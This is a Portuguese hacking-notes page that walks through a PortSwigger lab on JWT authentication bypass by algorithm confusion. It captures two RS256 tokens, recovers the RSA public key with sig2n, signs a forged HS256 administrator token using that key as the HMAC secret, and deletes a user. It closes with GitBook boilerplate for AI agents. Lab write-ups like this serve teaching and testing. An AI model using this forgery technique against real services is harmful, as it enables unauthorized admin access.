> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md). # Bypass de autenticação JWT via confusão de algoritmo sem chave pública exposta Notas sobre bypass de autenticação JWT via confusão de algoritmo sem chave pública exposta para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e a ### Bypass de autenticação JWT por confusão de algoritmo sem chave exposta #### Contexto do laboratório Usamos **JWT** para gerenciar a sessão. Os tokens normalmente são assinados em **RSA (RS256)** com um par de chaves robusto: * chave privada: assina o JWT * chave pública: verifica o JWT A vulnerabilidade vem de uma implementação incorreta: o servidor aceita um JWT declarado em **HS256** e reutiliza a **chave pública RSA** como **segredo HMAC**. **Objetivo:** obter um JWT válido com `sub=administrador`, acesso `/admin`, então excluir **carlos**. #### Recuperação de dois JWT RS256 Nos conectamos com `wiener:peter` e obtemos um primeiro JWT RS256: **TOKEN 1** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA ``` Então nos desconectamos e depois nos reconectamos para obter um segundo JWT RS256 (até `kid`, assinatura diferente): **TOKEN 2** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA ``` ### Reconstrução de uma chave pública RSA válida com `sig2n` Usamos o `sig2n` ferramenta (PortSwigger) em Docker para reconstruir uma chave pública a partir de **TOKEN 1** e **TOKEN 2**: ```bash docker run --rm -it docker.io/portswigger/sig2n / 'TOKEN1' 'TOKEN2' ``` Com nossos dois tokens completos: {% code overflow="wrap" %} ```bash docker run --rm -it docker.io/portswigger/sig2n / 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA' ``` {% endcode %}
A ferramenta retorna os seguintes valores da chave: * **Chave x509 codificada em Base64** (chave pública) * **JWT adulterado** (teste de JWT HS256) No nosso caso, a chave x509 retornada é: {% code overflow="wrap" %} ```bash Encontrado n com multiplicador 1: Chave x509 codificada em Base64: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== JWT adulterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE Chave pkcs1 codificada em Base64: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K JWT adulterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M ``` {% endcode %} #### Teste: Validando um JWT HS256 adulterado Testamos o JWT HS256 fornecido por `sig2n`: ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ``` O servidor aceita
Então a chave pública reconstruída pode ser usada como segredo HMAC. ```bash LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== ``` #### Criando uma chave simétrica (oct) com a chave pública Criamos uma **oct** chave cujo `k` valor é a chave pública em Base64: ```json { "kty": "oct", "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" } ```
#### Forjando o JWT de administrador Carga útil (passando para `administrator`) ```json { "iss": "portswigger", "exp": 1767554474, "sub": "administrator" } ``` Cabeçalho (altere para HS256 e mantenha o esperado `kid`) ```json { "kid": "658001cf-6704-456b-983e-7ab4373ff03b", "alg": "HS256" } ``` Então assinamos este JWT em **HS256** com a chave simétrica criada (segredo = chave pública).
#### Exploração 1. Substituímos o cookie JWT pelo nosso token HS256 forjado. 2. Vamos `/admin`. 3. Excluímos o usuário **carlos**. ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.